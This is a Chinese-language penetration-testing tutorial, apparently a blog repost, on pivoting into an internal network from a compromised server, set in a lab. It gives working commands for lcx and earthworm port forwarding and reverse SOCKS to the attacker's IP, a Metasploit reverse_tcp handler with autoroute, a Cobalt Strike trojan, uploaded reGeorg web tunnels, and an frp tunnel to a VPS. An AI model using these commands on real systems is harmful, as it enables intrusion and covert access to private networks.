內網滲透—流量轉發
阿新 • • 發佈:2020-07-12
#### 0x00前言
在拿到一臺伺服器的shell的時候,如果想要更進一步滲透測試,則需要進行內網滲透
而內網滲透的第一步就是掛代理,首先需要明確一個概念,在日常生活中常用`vpn`掛代理去google查資料,自己搭過`vpn`的人都知道,要在買的`vps`上搭建`ss的伺服器端`,之後在`自己電腦`上下載`ss的客戶端`,確定對應的加密協議和密碼就能成功轉發
而在內網滲透的流量轉發是一個道理,是在拿到shell的伺服器上使用工具讓它變成代理的伺服器端,之後在本機使用客戶端工具進行連線
#### 0x01流量轉發工具
##### 需要放在拿到shell的伺服器的伺服器端可使用
1.`lcx`
2.`msf`
3.`cobalt Strike`
4.`earthworm`
5.`reGeorg`
##### 本地的客戶端可以使用
**windows**
1.`proxifier`
2.`SocksCap64`
**linux**
1.`proxychains`
#### 0x02 本次測試的環境
本次環境是公司搭的一個一層內網學習環境,本篇文章只總結流量轉發的方法,因此大致介紹下簡化的拓撲結構
攻擊機:
ip:`10.86.0.87` win10(該ip能訪問到最外層的DMZ區web伺服器)
ip: `xx.xx.xx.xx` kali (虛擬機器,與主機win10 進行NAT連線)
被攻擊機:
ip: `172.16.3.145` ,`192.168.93.143` web伺服器(雙網絡卡,192為內網ip)
ip: `192.168.93.138` 內網伺服器,上面80有個IIS服務(能訪問到該web,則說明代理成功)
明確個概念
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074638650-1047874211.png)
那麼`DMZ區伺服器`彈shell到`kali虛擬機器`要通過本機做埠對映,`kali`要訪問`內網web伺服器`則代理需要設定成本機的埠
#### 0x03 lcx轉發
本工具只是埠流量轉發,並不具備完整的proxy代理功能
舉個例子伺服器只能本地連3389,因此攻擊機連不了,但是可以通過該工具將3389轉發到攻擊機的埠上,就能連線了
拿到shell後,上傳`lcx.exe`檔案
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074648345-1192678217.png)
##### 將自身埠流量轉發到攻擊機埠上
使用方法
本機
接收2333埠來的流量,並在自己的2334埠開啟
```
lcx.exe –listen 2333 2334
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074658319-1233270304.png)
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074743261-166155685.png)
目標伺服器
將自己的3389的流量轉發到`10.86.0.87攻擊機`的2333埠上
```
lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074708330-1241748632.png)
rdp連線自己的2334埠
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074719110-1787114422.png)
##### 本身流量轉發
這玩意兒還能在自己的上進行埠轉發,比如把3389埠流量轉到自己的2333埠
```
lcx.exe -tran 2333 127.0.0.1 3389
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074840900-373956289.png)
### 0x04 msf
msf它本身有流量轉發的模組,因為本次的msf是在kali虛擬機器裡面的,又因為DMZ區伺服器是沒法訪問到kali的,意味著反彈shell是沒法直接實現的
在使用msf轉發前,使用`frp`將kali的監聽埠對映到本機上
**在本機中使用frps伺服器端**
frps.ini的配置如下,確定繫結的埠,token的值,轉發的埠,即可
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074850155-1591431657.png)
啟動
```
.\frps.exe -c .\frps2.ini
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074901480-1794671232.png)
**在kali中使用frpc客戶端**
frpc.ini的配置如下,[common]是協議連線的目標,和token憑證,[appName1]~[appName3]是將10.86.0.87的10001埠對映到自己的10001埠
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074910466-1864707427.png)
啟動方式,利用nohup和 &,掛後臺執行
```
nohup ./frpc -c frpc2.ini &
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074920870-137500053.png)
回過頭來看windows本機,已經有資訊了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074929545-1571713870.png)
可以使用nc嘗試下,是否映射了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074937035-1583546964.png)
訪問下windows的10001埠
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074943857-1946644852.png)
再看kali裡面收到了http請求頭
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712074950725-845439208.png)
**將shell反彈到msf上**
先在msf中進行監聽php的msf的shell
```
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075005095-1321854118.png)
現在DMZ伺服器能間接通過的埠對映訪問到kali的埠了,在冰蠍中可以使用設定好的反彈msf的payload
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075014245-799305070.png)
點選給我連,就彈回來啦
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075023220-1550261202.png)
**使用msf設定代理**
拿到msf的shell了後,就是上代理了,這裡因為我之前已經掃過網段了,可以確定內網是192.168.93.0/24網段
因此新增路由
```
meterpreter> run autoroute -s 192.168.93.0/24
```
可以檢視
```
meterpreter> run autoroute -p
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075033675-248396481.png)
接下來將該shell掛起到後臺
```
meterpreter> background
```
並且使用sock4a模組進行轉發
```
use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075043680-64404517.png)
kali中直接firefox訪問下192.168.93.80的web,頁面是載入不出來的
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075050445-1509358066.png)
接下來使用proxychains來代理訪問內網的web
設定一下
```
vim /etc/proxychains.conf
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075100125-1983724403.png)
```
proxychains curl http://192.168.93.138
```
即可訪問成功
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075107965-2104610057.png)
### 0x05 Cobalt Strike代理
這個就很好用了,強烈推薦,因為我是在windows上起的cs的伺服器,因此反向代理就是本機不需要埠對映,操作也非常簡單(~~就這玩意兒老斷開連線,可能我電腦的問題~~)
先建立個listener
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075116145-1431572862.png)
生成一個exe的木馬,當然有殺軟的話可以使用powershell或者程式語言執行程式碼直接反彈
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075124140-1110351461.png)
丟到伺服器上執行
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075132161-774095886.png)
OK彈回來了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075138965-1109157169.png)
因為這裡是代理使用的總結,就不深入總結cs的利用,直接使用代理模組
這裡cs有2個代理方式,一個是瀏覽器代理,一個是sock代理
首先看瀏覽器代理
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075147623-653544121.png)
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075154815-1772296615.png)
接下來,就可以使用我本機的瀏覽器,掛代理訪問了,掛代理方式和burp一樣,這裡使用的是本機的4001埠
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075202530-1303623331.png)
設定方式很簡單
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075209665-2053829452.png)
訪問下試試
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075218340-1258549905.png)
在kali虛擬機器中同理,也可以使用這樣的方式訪問web了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075226460-658447311.png)
但是proxychains是不行的,接下來可以使用cs的另一個代理socks
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075236490-457505741.png)
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075254002-1357346415.png)
接下里配置proxychains
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075304840-2069151272.png)
成功代理
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075312865-1656243153.png)
### 0x06 使用earthworm
ew是一個很厲害的軟體,但是因為很厲害所以作者已經關閉下載了....
他有各種系統的可執行檔案
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075322252-2088686521.png)
ew具有lcx的轉發功能,還能執行socks代理
正向代理和反向代理的區別很多文章都有提到,從表面上看正向代理的代理埠和ip是在被攻擊的伺服器上,反向代理的埠和ip是自己的本機
**正向代理**
將對應系統的可執行檔案上傳上去
只需要在伺服器執行
```
ew_for_Win.exe -s ssocksd -l 2336
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075332680-1623115201.png)
配置好proxychains,代理為172.16.3.145:2336埠,能夠訪問內網了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075339985-1749638586.png)
**反向代理**
在本地使用ew進行埠監聽,意思是將本地從4399接收到的流量轉發到2337埠上
```
.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075348825-549099668.png)
在跳板的伺服器上執行,將自己的代理服務轉到遠端10.86.0.87伺服器上的4399埠
```
ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075356985-645905795.png)
嘗試下
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075403641-1389090836.png)
**ew具有lcx的功能**
在最上面介紹lcx的時候提到了lcx具有將遠端的埠對映到本地,和將本地的埠A流量轉移到埠B的功能
ew同樣有lcx的功能,使用方法如下,這裡還是拿3389為例
**將遠端埠對映到本地**
在本機起監聽,監聽自己的4399和2338埠,將4399埠收到的資料轉出到2338埠接收
```
.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399
```
在遠端的伺服器上執行
```
ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075412235-1020350426.png)
**將本機的埠A轉發到埠B**
```
ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075420730-1935823265.png)
**多級代理**
ew移植lcx的功能不僅僅是為了集合功能,更重要的是可以憑藉該功能達到多層代理,這裡沒有實際的環境,舉個例子
攻擊機A ,邊間伺服器B,內網1層的伺服器C,內網2層的伺服器D
首先拿到B,掛好代理,只能看到C,但不能看到D,這時候就要藉助EW的轉發功能實現多層內網滲透
------
攻擊機A,使用反向代理
將接到的3001埠的流量,開到自己的2001埠上,最終是掛本地2001埠,實現代理的
```
.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001
```
邊界伺服器B,使用流量轉發和流量監聽
流量轉發,將本地4001埠流量轉移到A的3001埠上
```
.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001
```
流量監聽,將接受到的5001埠的流量轉到自己的4001上
```
.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001
```
內網1層的伺服器C
反向代理,將自己的5001的socks代理傳給B的5001埠
```
.\ew_for_Win.exe -s rssocks -d B的ip -e 5001
```
綜上所述,訪問到D的流量如下
```
D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001
```
掛A:2001的代理,即可訪問到D
### 0x07 reGeorg
`reGeorg`使用起來也很方便,他和以上的幾種工具想比,它不需要在目標上執行程式,只需要把對應的web的指令碼上傳上去能夠訪問即可
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075433160-2088748957.png)
`reGeorg`的檔案主要是以web的後臺語言為代理指令碼,因此要使用`reGeorg`的先決條件是需目標具有web服務
這裡的例子是PHP,先上傳`tunnel.php`函式報錯了,之後我上傳了`tunnel.nosocket.php`,則正常工作了
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075441625-31042009.png)
tunnel.nosocket.php能正常開啟
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075448565-39413311.png)
接下來在本地,使用python執行它的py指令碼,如果不加-l引數則預設是127.0.0.1的地址開啟的代理,這時kali就沒法使用10.86.0.87,ip來設定代理了
```
python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075457244-326579865.png)
自己的5432埠即為代理埠
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075503660-2035882974.png)
### 0x08 frp
在部落格搬家的時候,又另外學到一招使用frp進行內網代理的,十分穩定好用,最主要的是frp是正常軟體,殺軟一般不會殺
理清思路,跳板機是frpc,我們的vps是frps,將跳板機的流量轉到vps的一個埠上,代理走vps的轉發埠即可完成內網代理
在跳板機上的frpc.ini內容如下,將tcp的流量使用socks5,壓縮一下轉到遠端埠的8881上
```
[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx
[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true
```
在vps伺服器上的frps.ini
```
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx
```
之後先在vps上啟動frps.ini
```
nohup ./frps -c frps.ini &
```
在跳板機上啟動frpc.ini
```
#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini
```
### 0x09代理客戶端
在最前面講到有3個代理的客戶端,其中`proxychains`是linux下的,也是上面各種工具使用時候,使用的代理方式驗證,`proxifier`和`SocksCap64`均是windows下的工具,有圖形化的介面,免費的。`proxifier`隨便找個啟用碼即可
##### proxychains
安裝,kali自帶的
```
apt-get install proxychains
```
直接修改`/etc/proxychains.conf`檔案
在最下面的`[ProxyList]`中以以下格式設定代理
```
socks4 ip port
或者
socks5 ip port
```
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075513205-1831848830.png)
使用方法也很簡單,這樣msf就能本身掛代理了
```
proxychains msfconsole
```
但是`proxychains`有些命令不支援,比如`ping`
##### proxifier
該工具是windows下的,配置有2個注意點即可
1.配置代理的ip和埠
2.配置走代理的exe程式
以剛剛的reGeorg代理為例
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075522125-1410544264.png)
配置好了代理的伺服器,接下來配置哪些服務走該代理
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075527966-1673456296.png)
Direct是直連,即不走代理的意思, proxy SOCKS5 即是剛剛設定的代理,當前設定是firefox走代理,chrome.exe不走代理
這個規則表和配置交換機的ACL協議一樣,從上往下讀協議的
如果要burp抓包,則使用Any,Any,Any,即全部應用都走代理即可
##### SocksCap64
和`proxifier`很相似,先設定代理
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075534940-448195661.png)
接下來右鍵下面的應用,選擇在代理隧道中執行即可,該應用也可以新增
這裡在代理隧道中執行chrome,即可訪問內網的web服務
![](https://img2020.cnblogs.com/blog/1419450/202007/1419450-20200712075546880-1187512310.png)
### 0x09 結語
掛代理思路清楚了是比較簡單的事情,滲透測試和CTF稍微不同的地方在於,CTF注重原理,深入到程式碼的寫法問題,而滲透測試則注重工具的使用。lcx和ew很容易被殺軟殺掉,但是在比較low或者比賽或者學習的環境中或者關掉殺軟的情況下還是比較好